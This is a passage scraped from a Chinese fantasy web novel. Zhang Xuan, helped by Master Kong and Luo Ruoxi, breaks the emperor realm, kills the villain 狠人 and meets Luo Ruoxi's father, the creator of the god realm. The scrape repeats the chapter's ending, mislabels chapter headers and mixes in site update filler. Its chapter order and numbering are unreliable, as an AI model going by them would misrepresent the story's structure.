之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第一百三十四章 幕后黑手 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第一百三十五章 错综复杂 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 